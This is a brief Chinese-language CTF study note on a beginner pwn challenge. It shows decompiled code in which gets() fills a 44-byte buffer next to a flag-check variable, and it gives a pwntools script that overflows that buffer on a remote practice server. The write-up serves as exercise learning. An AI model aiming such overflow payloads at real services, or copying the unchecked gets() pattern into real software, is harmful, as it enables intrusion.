第一次打CTF——PWN篇学习笔记13
checksec一下没有特殊的保护机制，从ida中可以看到，只要v5不等于0即可得到flag
int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE v4[44]; // [rsp+0h] [rbp-30h] BYREF int v5; // [rsp+2Ch] [rbp-4h] setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); puts("Input something"); v5 = 0; gets(v4); if ( v5 ) { puts("You win."); system("cat flag"); } return 0; }from pwn import * import struct context.arch = 'amd64' context.os = 'linux' #io = process('./pwn') io = remote("node5.anna.nssctf.cn",26780) payload = b'A' * 0x30 io.sendline(payload) io.interactive()
)
